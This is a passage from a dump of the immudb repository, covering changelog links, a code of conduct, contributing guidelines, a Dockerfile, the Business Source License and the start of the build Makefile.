https://github.com/vchain-us/immudb/compare/v1.9.6...v2.0.0-RC1\n[v1.9.6]: https://github.com/vchain-us/immudb/compare/v1.9.5...v1.9.6\n[v1.9.5]: https://github.com/vchain-us/immudb/compare/v1.9.4...v1.9.5\n[v1.9.4]: https://github.com/vchain-us/immudb/compare/v1.9.3...v1.9.4\n[v1.9.3]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2...v1.9.3\n[v1.9DOM.2]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2-RC1...v1.9DOM.2\n[v1.9DOM.2-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1...v1.9DOM.2-RC1\n[v1.9DOM.1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1-RC1...v1.9DOM.1\n[v1.9DOM.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...v1.9DOM.1-RC1\n[v1.9DOM.0]: https://github.com/vchain-us/immudb/compare/v1.9DOM...v1.9DOM.0\n[v1.9DOM]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...v1.9DOM\n[v1.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...v1.9.0-RC2\n[v1.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.5.0...v1.9.0-RC1\n[v1.5.0]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...v1.5.0\n[v1.5.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.1...v1.5.0-RC1\n[v1.4.1]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...v1.4.1\n[v1.4.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.0...v1.4.1-RC1\n[v1.4.0]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC2...v1.4.0\n[v1.4.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC1...v1.4.0-RC2\n[v1.4.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.2...v1.4.0-RC1\n[v1.3.2]: https://github.com/vchain-us/immudb/compare/v1.3.2-RC1...v1.3.2\n[v1.3.2-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.1...v1.3.2-RC1\n[v1.3.1]: https://github.com/vchain-us/immudb/compare/v1.3.1-RC1...v1.3.1\n[v1.3.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.0...v1.3.1-RC1\n[v1.3.0]: https://github.com/vchain-us/immudb/compare/v1.3.0-RC1...v1.3.0\n[v1.3.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.2.4...v1.3.0-RC1\n[v1.2.4]: https://github.com/vchain-us/immudb/compare/v1.2.4-RC1...v1.2.4\n[v1.2.4-RC1]: https://github.com/vchain-us/immudb/compare/v1.2.3...v1.2.4-RC1\n[v1.2.3]: https://github.com/vchain-us/immudb/compare/v1.2.3-RC1...v1.2.3\n[v1.2.3-RC1]: https://github.com/vchain-us/immudb/compare/v1.2.2...v1.2.3-RC1\n[v1.2.2]: https://github.com/vchain-us/immudb/compare/v1.2.1...v1.2.2\n[v1.2.1]: https://github.com/vchain-us/immudb/compare/v1.2.0...v1.2.1\n[v1.2.0]: https://github.com/vchain-us/immudb/compare/v1.2.0-RC1...v1.2.0\n[v1.2.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.1.0...v1.2.0-RC1\n[v1.1.0]: https://github.com/vchain-us/immudb/compare/v1.0.5...v1.1.0\n[v1.0.5]: https://github.com/vchain-us/immudb/compare/v1.0.1...v1.0.5\n[v1.0.1]: https://github.com/vchain-us/immudb/compare/v1.0.0...v1.0.1\n[v1.0.0]: https://github.com/vchain-us/immudb/compare/cnlc-2.2...v1.0.0\n[cnlc-2.2]: https://github.com/vchain-us/immudb/compare/v0.9.2...cnlc-2.2\n[v0.9.2]: https://github.com/vchain-us/immudb/compare/v0.9.1...v0.9.2\n[v0.9.1]: https://github.com/vchain-us/immudb/compare/v0.9.0...v0.9.1\n[v0.9.0]: https://github.com/vchain-us/immudb/compare/v0.9.0-RC2...v0.9.0\n[v0.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v0.9.0-RC1...v0.9.0-RC2\n[v0.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v0.8.1...v0.9.0-RC1\n[v0.8.1]: https://github.com/vchain-us/immudb/compare/v0.8.0...v0.8.1\n[v0.8.0]: https://github.com/vchain-us/immudb/compare/v0.7.1...v0.8.0\n[v0.7.1]: https://github.com/vchain-us/immudb/compare/v0.7.0...v0.7.1\n[v0.7.0]: https://github.com/vchain-us/immudb/compare/v0.6.2...v0.7.0\n[v0.6.2]: https://github.com/vchain-us/immudb/compare/v0.6.1...v0.6.2\n[v0.6.1]: https://github.com/vchain-us/immudb/compare/v0.6.0...v0.6.1\n[v0.6.0]: https://github.com/vchain-us/immudb/compare/v0.6.0-RC2...v0.6.0\n[v0.6.0-RC2]: https://github.com/vchain-us/immudb/compare/v0.6.0-RC1...v0.6.0-RC2\n[v0.6.0-RC1]: https://github.com/vchain-us/immudb/compare/v0.0.0-20200206...v0.6.0-RC1\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participation in our\ncommunity a harassment-free experience for everyone, regardless of age, body\nsize, visible or invisible disability, ethnicity, sex characteristics, gender\nidentity and expression, level of experience, education, socio-economic status,\nnationality, personal appearance, race, religion, or sexual identity\nand orientation.\n\nWe pledge to act and interact in ways that contribute to an open, welcoming,\ndiverse, inclusive, and healthy community.\n\n## Our Standards\n\nExamples of behavior that contributes to a positive environment for our\ncommunity include:\n\n* Demonstrating empathy and kindness toward other people\n* Being respectful of differing opinions, viewpoints, and experiences\n* Giving and gracefully accepting constructive feedback\n* Accepting responsibility and apologizing to those affected by our mistakes,\n  and learning from the experience\n* Focusing on what is best not just for us as individuals, but for the\n  overall community\n\nExamples of unacceptable behavior include:\n\n* The use of sexualized language or imagery, and sexual attention or\n  advances of any kind\n* Trolling, insulting or derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or email\n  address, without their explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Enforcement Responsibilities\n\nCommunity leaders are responsible for clarifying and enforcing our standards of\nacceptable behavior and will take appropriate and fair corrective action in\nresponse to any behavior that they deem inappropriate, threatening, offensive,\nor harmful.\n\nCommunity leaders have the right and responsibility to remove, edit, or reject\ncomments, commits, code, wiki edits, issues, and other contributions that are\nnot aligned to this Code of Conduct, and will communicate reasons for moderation\ndecisions when appropriate.\n\n## Scope\n\nThis Code of Conduct applies within all community spaces, and also applies when\nan individual is officially representing the community in public spaces.\nExamples of representing our community include using an official e-mail address,\nposting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported to the community leaders responsible for enforcement at\ninfo@codenotary.com.\nAll complaints will be reviewed and investigated promptly and fairly.\n\nAll community leaders are obligated to respect the privacy and security of the\nreporter of any incident.\n\n## Enforcement Guidelines\n\nCommunity leaders will follow these Community Impact Guidelines in determining\nthe consequences for any action they deem in violation of this Code of Conduct:\n\n### 1. Correction\n\n**Community Impact**: Use of inappropriate language or other behavior deemed\nunprofessional or unwelcome in the community.\n\n**Consequence**: A private, written warning from community leaders, providing\nclarity around the nature of the violation and an explanation of why the\nbehavior was inappropriate. A public apology may be requested.\n\n### 2. Warning\n\n**Community Impact**: A violation through a single incident or series\nof actions.\n\n**Consequence**: A warning with consequences for continued behavior. No\ninteraction with the people involved, including unsolicited interaction with\nthose enforcing the Code of Conduct, for a specified period of time. This\nincludes avoiding interactions in community spaces as well as external channels\nlike social media. Violating these terms may lead to a temporary or\npermanent ban.\n\n### 3. Temporary Ban\n\n**Community Impact**: A serious violation of community standards, including\nsustained inappropriate behavior.\n\n**Consequence**: A temporary ban from any sort of interaction or public\ncommunication with the community for a specified period of time. No public or\nprivate interaction with the people involved, including unsolicited interaction\nwith those enforcing the Code of Conduct, is allowed during this period.\nViolating these terms may lead to a permanent ban.\n\n### 4. Permanent Ban\n\n**Community Impact**: Demonstrating a pattern of violation of community\nstandards, including sustained inappropriate behavior,  harassment of an\nindividual, or aggression toward or disparagement of classes of individuals.\n\n**Consequence**: A permanent ban from any sort of public interaction within\nthe community.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage],\nversion 2.0, available at\nhttps://www.contributor-covenant.org/version/2/0/code_of_conduct.html.\n\nCommunity Impact Guidelines were inspired by [Mozilla's code of conduct\nenforcement ladder](https://github.com/mozilla/diversity).\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see the FAQ at\nhttps://www.contributor-covenant.org/faq. Translations are available at\nhttps://www.contributor-covenant.org/translations.\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "<!--\n---\ntitle: \"Contributing\"\ncustom_edit_url: https://github.com/codenotary/immudb/edit/master/CONTRIBUTING.md\n---\n-->\n\n# Contributing to immudb\n​\n👍🎉 First off, thanks for taking the time to contribute! 🎉👍\n\nThe following is a set of guidelines for contributing to immudb. These are mostly guidelines, not rules. Use your best judgment, and feel free to propose changes to this document in a pull request.\n\n\n### Active Participation\n​\nOpen Source projects are maintained and backed by a **wonderful community** of users and collaborators. ​\nWe encourage you to actively participate in the development and future of immudb by contributing to the source code regularly, improving the documentation, reporting potential bugs, or testing new features.\n​\n### Channels\n​\nThere are many ways to take part in the immudb community.\n​\n1. <a href=\"https://github.com/codenotary/immudb\" rel=\"nofollow\" target=\"_blank\">Github Repositories</a>: Report bugs or create feature requests against the dedicated immudb repository.\n2. <a href=\"https://discord.gg/ThSJxNEHhZ\" rel=\"nofollow\" target=\"_blank\">Discord</a>: Join the Discord channel and chat with other developers in the immudb community.\n3. <a href=\"https://twitter.com/immudb\" rel=\"nofollow\" target=\"_blank\">Twitter</a>: Stay in touch with the progress we make and learn about the awesome things happening around immudb.\n​\n## Developer Certificate of Origin\n\nContributions to this project must be accompanied by a Developer Certificate of Origin (DCO). You retain the copyright to your contribution; this simply gives us permission to use and redistribute your contributions as part of the project.\nTherefore, with every contribution to the code, you must sign-off the following DCO:\n\nBy making a contribution to this project, I certify that:\n\n    a) The contribution was created in whole or in part by me and I have the right to submit it under the open source license indicated in the file; or\n    b) The contribution is based upon previous work that, to the best of my knowledge, is covered under an appropriate open source license and I have the right under that license to submit that work with modifications, whether created in whole or in part by me, under the same open source license (unless I am permitted to submit under a different license), as indicated in the file; or\n    c) The contribution was provided directly to me by some other person who certified (a), (b) or (c) and I have not modified it.\n    d) I understand and agree that this project and the contribution are public and that a record of the contribution (including all personal information I submit with it, including my sign-off) is maintained indefinitely and may be redistributed consistent with this project or the open source license(s) involved.\n\nYou can sign-off that you adhere to these requirements by simply adding a signed-off-by line to your commit message, as specified in the [pull request guidelines](#pull-requests).\n\n## Using the Issue Tracker\n​\nThe [issue tracker](https://github.com/codenotary/immudb/issues) is\nthe preferred channel for [bug reports](#bug-reports), [feature requests](#feature-requests),\nand [pull requests](#pull-requests), but please respect the following restrictions:\n​\n* Please **do not** use the issue tracker for personal support requests.\n​\n* Please **do not** get off track in issues. Keep the discussion on topic and\n  respect the opinions of others.\n​\n* Please **do not** post comments consisting solely of \"+1\" or \":thumbsup:\".\n  Use [GitHub's \"reactions\" feature](https://github.com/blog/2119-add-reactions-to-pull-requests-issues- and-comments) instead. We reserve the right to delete comments which violate this rule.\n​\n## Issues and Labels\n​\nOur bug tracker utilizes several labels to help organize and identify issues. For a complete look at our labels, see the [project labels page](https://github.com/codenotary/immudb/labels).\n​\n## Bug Reports\n​\nA bug is a _demonstrable problem_ that is caused by the code in the repository.\nGood bug reports are extremely helpful, so thanks!\n​\nGuidelines for bug reports:\n​\n1. Provide a clear title and description of the issue.\n2. Share the version of immudb you are using.\n3. Add code examples to demonstrate the issue. You can also provide a complete repository to reproduce the issue quickly.\n​\nA good bug report shouldn't leave others needing to chase you up for more information. Please try to be as detailed as possible in your report:\n​\n- What is your environment?\n- What steps will reproduce the issue?\n- What OS experiences the problem?\n- What would you expect to be the outcome?\n​\nAll these details will help us fix any potential bugs. Remember, fixing bugs takes time. We're doing our best!\n​\nExample:\n​\n> Short and descriptive example bug report title\n>\n> A summary of the issue and the OS environment in which it occurs. If\n> suitable, include the steps required to reproduce the bug.\n>\n> 1. This is the first step\n> 2. This is the second step\n> 3. Further steps, etc.\n>\n> `<url>` - a link to the reduced test case\n>\n> Any other information you want to share that is relevant to the issue being\n> reported. This might include the lines of code that you have identified as\n> causing the bug, and potential solutions (and your opinions on their\n> merits).\n​\n## Feature Requests\nFeature requests are welcome! When opening a feature request, it's up to *you* to make a strong case to convince the project's developers of the merits of this feature. Please provide as much detail and context as possible.\n​\nWhen adding a new feature to immudb, make sure you update the documentation as well.\n​\n### Testing\nBefore providing a pull request, be sure to test the feature you are adding. We will only approve pull requests with at least 80% of code covered by unit tests.\n​\n## Pull Requests\nGood pull requests—patches, improvements, new features are a fantastic\nhelp. They should remain focused in scope and avoid containing unrelated\ncommits.\n​\n**Please ask first** before starting on any significant pull request (e.g.\nimplementing features, refactoring code, porting to a different language),\notherwise you might spend a lot of time working on something that the\nproject's developers might not want to merge into the project.\n​\nPlease adhere to the [code guidelines](#code-guidelines) used throughout the\nproject (indentation, accurate comments, etc.) and any other requirements\n(such as [test coverage](#testing)).\n​\nAdhering to the following process is the best way to get your work\nincluded in the project:\n​\n1. [Fork](https://help.github.com/fork-a-repo/) the project, clone your fork and configure the remotes:\n​\n   ```bash\n   # Clone your fork of the repo into the current directory\n   git clone https://github.com/<your-username>/immudb.git\n   \n2. Navigate to the newly cloned directory\n\n   ```bash\n   cd immudb\n   ```\n3. Assign the original repo to a remote called \"upstream\"\n   ```\n   git remote add upstream https://github.com/codenotary/immudb.git\n   ```\n\n4. Create a new topic branch (off the main project master branch) to\n   contain your feature, change, or fix:\n​\n   ```bash\n   git checkout -b <topic-branch-name>\n   ```\n\n5. Make sure your commits are logically structured. Please adhere to these [git commit\n   message guidelines](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html). Use Git's\n   [interactive rebase feature](https://help.github.com/en/github/using-git/about-git-rebase)\nto tidy up your commits before making them public. For immudb, we follow the [conventional commits layout](https://www.conventionalcommits.org/en/v1.0.0/). This way commits are more meaningful and the autogenerated part of the readme is better structured.\n\n6. Sign-off that you adhere to the [DCO](#developer-certificate-of-origin)    by adding a signed-off-by line to your commit message, separated by a blank line from the body of the commit.\nThis is my commit message\n\n   ```bash\n   Signed-off-by: Your Name <your.email@example.org>\n   ```\n   Git even has a -s or -s –amend (in case you already have a commit) command line option to append this automatically to your existing commit message:\n   ```bash\n   $ git commit -s -m 'This is my commit message'\n   ```\n   Signed-off-by: Your Name <your.email@example.org> to the last line of each Git commit message\n\n7. Locally rebase the upstream master branch into your topic branch:\n​\n   ```bash\n   git pull --rebase upstream master\n   ```\n8. Push your topic branch up to your fork:\n​\n   ```bash\n   git push origin <topic-branch-name>\n   ```\n9. [Open a pull request](https://help.github.com/articles/using-pull-requests/)\n    with a clear title and description against the `master` branch.\n​\n​\n## Code Guidelines\n​\n### Go\n\nHere is a non-exhaustive list of documents and articles talking about Go best practices and tips & tricks. We are continuously trying to improve our code, and taking inspiration from community works helps us grow.\n\n* https://golang.org/doc/effective_go.html\n* https://github.com/golang/go/wiki/CodeReviewComments\n* https://go-proverbs.github.io/\n* https://the-zen-of-go.netlify.app/\n* https://dave.cheney.net/practical-go/presentations/qcon-china.html\n* https://github.com/bahlo/go-styleguide\n* https://github.com/Pungyeon/clean-go-article\n* https://github.com/dgryski/go-perfbook\n\nPlease note again that [code coverage](#testing) should no less than 80% and that we encourage you to minimize the use of 3rd party libraries.\n​\n### Vue\n​\nAdhere to the linting and [concepts](https://immudb.io/docs/preface/concepts) guidelines.\n​\n- Prefix immudb components with the `I` character\n- Provide multiple customization options\n- Use mixins where applicable\n​\n## Local Development\n​\nFork the repository and create a branch as specified in the [pull request guidelines](#pull-requests) above.\n​\n## License\n​\nBy contributing your code, you agree to license your contribution under the [Apache Version 2.0 License](https://github.com/codenotary/immudb/tree/master/LICENSE).\n"
  },
  {
    "path": "Dockerfile",
    "content": "# Copyright 2022 Codenotary Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# \thttp://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nFROM golang:1.24 as build\nARG BUILD_ARCH=amd64\nWORKDIR /src\nCOPY go.mod go.sum /src/\nRUN go mod download -x\nCOPY . .\nRUN make clean\nRUN make prerequisites\nRUN make swagger\nRUN make swagger/dist\nRUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static immuadmin-static\nRUN mkdir /empty\n\nFROM scratch\nLABEL org.opencontainers.image.authors=\"Codenotary Inc. <info@codenotary.com>\"\n\nARG IMMU_UID=\"3322\"\nARG IMMU_GID=\"3322\"\nARG IMMUDB_HOME=\"/usr/share/immudb\"\n\nENV IMMUDB_HOME=\"${IMMUDB_HOME}\" \\\n    IMMUDB_DIR=\"/var/lib/immudb\" \\\n    IMMUDB_ADDRESS=\"0.0.0.0\" \\\n    IMMUDB_PORT=\"3322\" \\\n    IMMUDB_PIDFILE=\"\" \\\n    IMMUDB_LOGFILE=\"\" \\\n    IMMUDB_MTLS=\"false\" \\\n    IMMUDB_AUTH=\"true\" \\\n    IMMUDB_DETACHED=\"false\" \\\n    IMMUDB_DEVMODE=\"true\" \\\n    IMMUDB_MAINTENANCE=\"false\" \\\n    IMMUDB_ADMIN_PASSWORD=\"immudb\" \\\n    IMMUDB_PGSQL_SERVER=\"true\" \\\n    IMMUADMIN_TOKENFILE=\"/var/lib/immudb/admin_token\" \\\n    USER=immu \\\n    HOME=\"${IMMUDB_HOME}\"\n\nCOPY --from=build /src/immudb /usr/sbin/immudb\nCOPY --from=build /src/immuadmin /usr/local/bin/immuadmin\nCOPY --from=build --chown=\"$IMMU_UID:$IMMU_GID\" /empty \"$IMMUDB_HOME\"\nCOPY --from=build --chown=\"$IMMU_UID:$IMMU_GID\" /empty \"$IMMUDB_DIR\"\nCOPY --from=build --chown=\"$IMMU_UID:$IMMU_GID\" /empty /tmp\nCOPY --from=build \"/etc/ssl/certs/ca-certificates.crt\" \"/etc/ssl/certs/ca-certificates.crt\"\n\nEXPOSE 3322\nEXPOSE 9497\nEXPOSE 8080\nEXPOSE 5432\n\nHEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ \"/usr/local/bin/immuadmin\", \"status\" ]\nUSER \"${IMMU_UID}:${IMMU_GID}\"\nENTRYPOINT [\"/usr/sbin/immudb\"]\n"
  },
  {
    "path": "LICENSE",
    "content": "License text copyright (c) 2020 MariaDB Corporation Ab, All Rights Reserved.\r\n\"Business Source License\" is a trademark of MariaDB Corporation Ab.\r\n\r\nParameters\r\n\r\nLicensor:             Codenotary, Inc.\r\nLicensed Work:        immudb Version 1.9DOM.2 or later. The Licensed Work is (c) 2024\r\n                      Codenotary, Inc.\r\nAdditional Use Grant: You may make production use of the Licensed Work, provided\r\n                      Your use does not include offering the Licensed Work to third\r\n                      parties on a hosted or embedded basis in order to compete with \r\n                      Codenotary's paid version(s) of the Licensed Work. For purposes \r\n                      of this license:\r\n\r\n                      A \"competitive offering\" is a Product that is offered to third\r\n                      parties on a paid basis, including through paid support \r\n                      arrangements, that significantly overlaps with the capabilities \r\n                      of Codenotary's paid version(s) of the Licensed Work. If Your \r\n                      Product is not a competitive offering when You first make it \r\n                      generally available, it will not become a competitive offering\r\n                      later due to Codenotary releasing a new version of the Licensed \r\n                      Work with additional capabilities. In addition, Products that \r\n                      are not provided on a paid basis are not competitive.\r\n\r\n                      \"Product\" means software that is offered to end users to manage \r\n                      in their own environments or offered as a service on a hosted \r\n                      basis.\r\n\r\n                      \"Embedded\" means including the source code or executable code \r\n                      from the Licensed Work in a competitive offering. \"Embedded\" \r\n                      also means packaging the competitive offering in such a way \r\n                      that the Licensed Work must be accessed or downloaded for the \r\n                      competitive offering to operate.\r\n\r\n                      Hosting or using the Licensed Work(s) for internal purposes \r\n                      within an organization is not considered a competitive \r\n                      offering. Codenotary considers your organization to include all \r\n                      of your affiliates under common control.\r\n\r\nChange Date:          Four years from the date the Licensed Work is published.\r\nChange License:       Apache 2.0\r\n\r\nFor information about alternative licensing arrangements for the Licensed Work,\r\nplease contact info@codenotary.com.\r\n\r\nNotice\r\n\r\nBusiness Source License 1.1\r\n\r\nTerms\r\n\r\nThe Licensor hereby grants you the right to copy, modify, create derivative\r\nworks, redistribute, and make non-production use of the Licensed Work. The\r\nLicensor may make an Additional Use Grant, above, permitting limited production use.\r\n\r\nEffective on the Change Date, or the fourth anniversary of the first publicly\r\navailable distribution of a specific version of the Licensed Work under this\r\nLicense, whichever comes first, the Licensor hereby grants you rights under\r\nthe terms of the Change License, and the rights granted in the paragraph\r\nabove terminate.\r\n\r\nIf your use of the Licensed Work does not comply with the requirements\r\ncurrently in effect as described in this License, you must purchase a\r\ncommercial license from the Licensor, its affiliated entities, or authorized\r\nresellers, or you must refrain from using the Licensed Work.\r\n\r\nAll copies of the original and modified Licensed Work, and derivative works\r\nof the Licensed Work, are subject to this License. This License applies\r\nseparately for each version of the Licensed Work and the Change Date may vary\r\nfor each version of the Licensed Work released by Licensor.\r\n\r\nYou must conspicuously display this License on each original or modified copy\r\nof the Licensed Work. If you receive the Licensed Work in original or\r\nmodified form from a third party, the terms and conditions set forth in this\r\nLicense apply to your use of that work.\r\n\r\nAny use of the Licensed Work in violation of this License will automatically\r\nterminate your rights under this License for the current and all other\r\nversions of the Licensed Work.\r\n\r\nThis License does not grant you any right in any trademark or logo of\r\nLicensor or its affiliates (provided that you may use a trademark or logo of\r\nLicensor as expressly required by this License).\r\n\r\nTO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON\r\nAN \"AS IS\" BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS,\r\nEXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF\r\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND\r\nTITLE."
  },
  {
    "path": "Makefile",
    "content": "# Copyright 2022 Codenotary Inc. All rights reserved. \t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\nLicensed under the Apache License, Version 2.0 (the \"License\"); \t\t\t\\\nyou may not use this file except in compliance with the License. \t\t\t\\\nYou may obtain a copy of the License at \t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\thttp://www.apache.org/licenses/LICENSE-2.0 \t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\nUnless required by applicable law or agreed to in writing, software \t\t\\\ndistributed under the License is distributed on an \"AS IS\" BASIS, \t\t\t\\\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\t\\\nSee the License for the specific language governing permissions and \t\t\\\nlimitations under the License.\n\nexport GO111MODULE=on\n\nSHELL=/bin/bash -o pipefail\n\nVERSION=1.10.0\nDEFAULT_WEBCONSOLE_VERSION=1.0.18\nSERVICES=immudb immuadmin immuclient\nTARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64\nSWAGGER?=false\nFIPSENABLED?=false\nSWAGGERUIVERSION=4.15.5\nSWAGGERUILINK=\"https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz\"\n\nPWD = $(shell pwd)\nGO ?= go\nGOPATH ?= $(shell go env GOPATH)\nDOCKER ?= docker\nPROTOC ?= protoc\nSTRIP = strip\n\n\nV_COMMIT := $(shell git rev-parse HEAD)\n#V_BUILT_BY := \"$(shell echo \"`git config user.name`<`git config user.email`>\")\"\nV_BUILT_BY := $(shell git config user.email)\nV_BUILT_AT := $(shell date +%s)\nV_LDFLAGS_SYMBOL := -s\nV_LDFLAGS_BUILD := -X \"github.com/codenotary/immudb/cmd/version.Version=${VERSION}\" \\\n\t\t\t\t\t-X \"github.com/codenotary/immudb/cmd/version.Commit=${V_COMMIT}\" \\\n\t\t\t\t\t-X \"github.com/codenotary/immudb/cmd/version.BuiltBy=${V_BUILT_BY}\"\\\n\t\t\t\t\t-X \"github.com/codenotary/immudb/cmd/version.BuiltAt=${V_BUILT_AT}\"\nV_LDFLAGS_COMMON := ${V_LDFLAGS_SYMBOL} ${V_LDFLAGS_BUILD}\nV_LDFLAGS_STATIC := ${V_LDFLAGS_COMMON} \\\n\t\t\t\t  -X github.com/codenotary/immudb/cmd/version.Static=static \\\n\t\t\t\t  -extldflags \"-static\"\nV_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \\\n\t\t\t\t  -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true\nV_GO_ENV_FLAGS := GOOS=$(GOOS) GOARCH=$(GOARCH)\nV_BUILD_NAME ?= \"\"\nV_BUILD_FLAG = -o $(V_BUILD_NAME)\n\nGRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}')\nSWAGGER_BUILDTAG=\nWEBCONSOLE_BUILDTAG=\nFIPS_BUILDTAG=\nifdef WEBCONSOLE\nWEBCONSOLE_BUILDTAG=webconsole\nendif\nifeq ($(SWAGGER),true)\nSWAGGER_BUILDTAG=swagger\nendif\nifeq ($(FIPSENABLED),true)\nFIPS_BUILDTAG=swagger\nendif\nIMMUDB_BUILD_TAGS=-tags \"$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)\"\n\n.PHONY: all\nall: immudb immuclient immuadmin immutest\n\t@echo 'Build successful, now you can make the manuals or check the status of the database with immuadmin.'\n\n.PHONY: rebuild\nrebuild: clean build/codegen all\n\n.PHONY: webconsole\nifdef WEBCONSOLE\nwebconsole: ./webconsole/dist\n\tenv -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./webconsole\nelse\nwebconsole:\n\tenv -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./webconsole\nendif\n\n# To be called manually to update the default webconsole\n.PHONY: webconsole/default\nwebconsole/default:\n\t$(GO) generate ./webconsole\n\n.PHONY: immuclient\nimmuclient:\n\t$(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient\n\n.PHONY: immuadmin\nimmuadmin:\n\t$(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin\n\n.PHONY: immudb\nimmudb: webconsole swagger\n\t$(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb\n\n.PHONY: immutest\nimmutest:\n\t$(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest\n\n.PHONY: immuclient-static\nimmuclient-static:\n\t$(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient\n\n.PHONY: immuclient-fips\nimmuclient-fips:\n\tCGO_ENABLED=1 GOOS=linux GOARCH=amd64 $(GO) build -tags=fips -a -o immuclient -ldflags '$(V_LDFLAGS_FIPS_BUILD)' ./cmd/immuclient/fips\n\t./build/fips/check-fips.sh immuclient\n\n.PHONY: immuadmin-static\nimmuadmin-static:\n\t$(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin\n\n.PHONY: immuadmin-fips\nimmuadmin-fips:\n\tCGO_ENABLED=1 GOOS=linux GOARCH=amd64 $(GO) build -tags=fips -a -o immuadmin -ldflags '$(V_LDFLAGS_FIPS_BUILD)' ./cmd/immuadmin/fips\n\t./build/fips/check-fips.sh immuadmin\n\n.PHONY: immudb-static\nimmudb-static: webconsole\n\t$(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb\n\n.PHONY: immudb-fips\nimmudb-fips: webconsole\n\tCGO_ENABLED=1 GOOS=linux GOARCH=amd64 WEBCONSOLE=default $(GO) build -tags=webconsole,fips -a -o immudb -ldflags '$(V_LDFLAGS_FIPS_BUILD)' ./cmd/immudb/fips\n\t./build/fips/check-fips.sh immudb\n\n.PHONY: immutest-static\nimmutest-static:\n\tCGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest\n\n.PHONY: vendor\nvendor:\n\t$(GO) mod vendor\n\n.PHONY: test\ntest:\n\t$(GO) vet ./...\n\tLOG_LEVEL=error $(GO) test -v -failfast ./... ${GO_TEST_FLAGS}\n\n# build FIPS binary from docker image\n.PHONY: 